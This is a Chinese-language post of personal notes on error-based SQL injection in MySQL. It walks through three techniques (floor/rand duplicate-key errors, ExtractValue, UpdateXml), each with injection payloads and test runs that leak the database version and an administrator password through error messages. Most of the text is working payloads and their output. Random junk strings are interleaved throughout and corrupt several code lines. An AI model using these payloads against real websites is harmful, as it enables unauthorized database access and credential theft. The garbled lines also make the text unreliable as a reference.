关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
  F! H9 {8 n2 c' V$ {​
# i9 r$ Z% y, N% b) S% O
mysql> show tables;
3 H' c& X0 S5 g+----------------+
| Tables_in_test |
! Y. X+ s* G' O; h( L+----------------+
- o( s1 z9 d( c* b& ]| admin          |
| article        |
+----------------+

  J# J9 l4 h9 d8 Q2 P$ B( J- V9 P

0 N8 e  I0 R/ B2 O4 Y; A' gmysql> describe admin;
4 \  T5 U) b& D+-------+------------------+------+-----+---------+----------------+
. \. J2 V- t# I| Field | Type             | Null | Key | Default | Extra          |
+ ?( \! A1 }  C$ x0 Y  p! d- d+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
1 C/ B0 N9 z8 ~# y( F+ j5 ]| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
* ]/ N/ a% G- c  L) R. g
- G( I0 ?' [* w& t7 ?; Q
% L9 j- ?* I% ]
6 q! p) W) r! L  Gmysql> describe article;
" x9 i9 \1 d( \) O$ m+ t+---------+------------------+------+-----+---------+----------------+
/ K0 R& f2 a' B& e| Field   | Type             | Null | Key | Default | Extra          |
6 E8 s! K( h7 \+---------+------------------+------+-----+---------+----------------+
" t( T& E7 A! m1 ~% s| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
1 u6 _9 e) d4 S) A+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
/ Z2 n6 e  U" e  i; E* A

% J! ]9 P& g( q! [; \8 e% Zand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
5 x- t/ x; B0 H
+ p  `( b. l8 ~* a/ _
* C$ v* y. ~5 K/ b' z, Cand (select count(*) from (select 1 union select null union select !1)x
% O# o' |* y) e+ igroup by concat((select table_name from information_schema.tables limit 1),
' N3 k, P0 u2 A" }7 ufloor(rand(0)*2)));
3 Q& _5 J$ E4 g2 s" n举例如下：
5 P$ z* n3 M( [: @. v0 \- H1 S1 s首先进行正常查询：
1 _3 `& N4 A) q. N' |* F, U2 A
7 A. I3 [& f3 |1 E+ K& n+ Smysql> select * from article where id = 1;
+ ~$ p+ _! x: j3 Z; f+----+-------+---------+
| id | title | content |
7 X( z" c; h) V7 G% S# D8 Y9 W& R5 y+----+-------+---------+
7 G& m( H/ n! p4 M& ]' {|  1 | test  | do it   |
- @5 z  Y, H# X0 v( V, n) K+ T" P+----+-------+---------+
( `1 X8 N. e' k2 F6 Q假如id输入存在注入的话，可以通过如下语句进行报错。


$ j! o' {/ v( ~! q/ ~3 Lmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ i% Q% U% D3 e7 IERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
; P; }, _3 s; D5 Y( c: g) r0 R可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
( f% a9 F& E. F/ M% V
6 H3 J- i  h6 H, S7 M) F$ y
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
, X# b: H/ f5 ~- ]ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 T  b) T  b4 K3 H  J5 z  QMethod2:
( y2 |2 A' c% {( o% P' F% Q! R

mysql> select * from article where id = 1 and (select count(*)
7 {% e8 T$ E' [) xfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ ^  F' F5 O+ t. ?# i0 m2、ExtractValue
' u) v# h; N) e( s测试语句如下


% [8 \7 J- \- _2 [# h) Mand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
; X" ]- S8 ]8 m实际测试过程

5 X4 D' U8 }2 t* R& l6 X1 m! D7 U
3 J$ Y+ _0 A# I* w: o) F7 U% U" Gmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
+ `! K3 f4 h5 ?% Q+ q/ \% ^$ i
+ f5 Q% ?- c) p) E: {3 K) P
0 b2 k- a/ b; f' l( W/ Jand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
. l; s) W8 O( t% n& }ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

/ Q3 ^: k; C. [# m: ^$ J7 |5 J6 M0 M​
  x3 O5 A6 g9 L8 C5 g